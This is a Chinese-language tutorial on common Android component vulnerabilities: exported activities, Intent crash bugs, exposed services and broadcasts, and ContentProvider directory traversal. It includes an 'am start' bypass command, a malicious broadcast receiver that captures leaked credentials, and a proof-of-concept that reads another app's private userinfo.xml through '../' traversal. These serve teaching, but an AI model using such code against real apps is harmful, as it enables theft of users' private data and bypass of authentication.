常見Android組件/控件漏洞
前言
對于 Android app 本身來說,也是會存在一些組件安全漏洞的,本文就介紹一些常見的 Android 組件漏洞。
Android組件安全
首先要知道,Android 中最重要的風險點就是 android:exported="true" 這一屬性。組件被導出就意味著大概率會產生漏洞。
首先了解一下四大組件:activity,service,broadcast,contentprovider。
對于 app 來說,每一個界面都是一個 activity,每一個 activity 都會有著不同的功能,比如注冊,登錄,手勢密碼等。每一個 activity 的切換需要不同的條件。
service 服務,伴隨著程序啟動,會一直在后臺運行,主要是檢測作用,檢測客戶端的狀態,上傳用戶的操作。
broadcast 分為兩個方面,廣播發送者和廣播接收者。Android 提供一整套的 api,允許 app 自由的發送和接收廣播。
contentProvider是用來保存或者獲取數據,并使其對所有應用程序可見。
這是不同應用程序間共享數據的唯一方式,因為android 沒有提供所有應用共同訪問的公共存儲區。比如通訊錄數據。
越權繞過
對于 activity 組件,主要會存在越權繞過,比如繞過手勢密碼,跳過驗證階段。此處可以利用直接啟動手勢密碼之后的活動來進行驗證
am start -n 包名/.活動名
若是可以直接啟動,則證明存在越權漏洞。
拒絕服務攻擊
還有拒絕服務攻擊,Android 提供 Intent 機制來協助應用間的交互與通訊,Intent 負責對一次操作的動作、動作涉及的數據進行描述,系統則根據此 Intent 描述,來調用對應的 Activity、 servicer 和 BroadCast 等組件,來完成組件的調用。
如果程序沒有對 Intent.getXXXExtra() 獲取的異常或者畸形數據處理時沒有進行異常捕獲,就會導致攻擊者可通過向受害者應用發送此類空數據、異常或者畸形數據來使該應用崩潰,簡單的說就是通過 intent 發送空數據、異常或畸形數據給應用,來實現讓應用崩潰的目的。
對應的不同報錯信息
Java.lang.NullPointerException,原因是程序沒有對getAction()等獲取到的數據進行空指針判斷。intent.putExtra("", "");導致空指針異常導致應用崩潰Java.lang.ClassCastException 原因是程序沒有getSerializableExtra()等獲取到的數據進行類型判斷而進行強制類型轉換Java.lang.IndexOutOfBoundsException,原因是程序沒有對getIntegerArrayListExtra()等獲取到的數據數組元素大小的判斷Java.lang.ClassNotFoundException,原因是程序沒有無法找到從getSerializableExtra()獲取到的序列化類對象的類定義
service服務暴露
以之前版本的某 app 為例,其中的升級服務,傳入 PushMsg 的 Serializable 的數據。

此時惡意偽造并啟動暴露的service


Broadcast 暴露
比如目標程序如下,
Intent v1 = new Intent(); v1.setAction("com.simple.action.server_running"); v1.putExtra("local_ip",v0.h); v1.putExtra("port",v0.i); v1.putExtra("code",v0.g); v1.putExtra("connected",v0.s); v1.putExtra("pwd_predefined",v0.r); if(!TextUtils.isEmpty(v0.t)){ v1.putExtra("connected_usr",v0.t); } sendBroadcast(v1);}
該程序通過 intent 隱式傳遞,并通過 action 匹配發送一個廣播,這樣系統內其他程序都可以接收到這個廣播,然后在廣播接收者中編寫接收代碼,這樣就可以通過攻擊代碼獲取敏感數據信息
public void onReceive(Context context,Intent intent){ String s = null; if(intent.getAction().equals("com.sample.action.server_running")){ String pwd=intent.getStringExtra("connected"); s="Airdroid => ["+pwd+"]/"+intent.getExtras(); } Toast.makeTest(context,String.format("%sReceived",s),Toast.LENGTH_SHORT).show();}
content Provider目錄遍歷漏洞
Android Content Provider 存在文件目錄遍歷安全漏洞,該漏洞源于對外暴露 Content Provider組件的應用,沒有對 Content Provider 組件的訪問進行權限控制和對訪問的目標文件的Content Query Uri 進行有效判斷,攻擊者利用該應用暴露的 Content Provider的openFile()接口進行文件目錄遍歷以達到訪問任意可讀文件的目的。
此時的條件是對外暴露的Content Provider組件實現了openFile()接口
沒有對所訪問的目標文件 Uri 進行有效判斷,如沒有過濾限制如“../”可實現任意可讀文件的訪問的 Content Query Uri 。
比如,某 APP 的實現中定義了一個可以訪問本地文件的 Content Provider 組件,默認的 android:exported="true" ,對應 com.xxxx.android.jobs.html5.LocalFileContentProvider,該 Provider 實現了 openFile() 接口,通過此接口可以訪問內部存儲 app_webview 目錄下的數據,由于后臺未能對目標文件地址進行有效判斷,可以通過"../"實現目錄跨越,實現對任意私有數據的訪問。
攻擊poc
public void GJContentProviderFileOperations(){ try{ InputStream in = getContentResolver().openInputStream(Uri.parse("content://com.xxx.html5.localfile.1/webview/../../shared_prefs/userinfo.xml")); ByteArrayOutputStream out = new ByteArrayOutputStream(); byte[] buffer = new byte[1024]; int n = in.read(buffer); while(n>0){ out.write(buffer, 0, n); n = in.read(buffer); Toast.makeText(getBaseContext(), out.toString(), Toast.LENGTH_LONG).show(); } }catch(Exception e){ debugInfo(e.getMessage()); }}